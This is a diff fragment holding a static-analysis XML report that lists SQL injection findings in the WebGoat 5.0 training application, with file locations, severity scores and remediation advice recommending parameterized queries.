+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
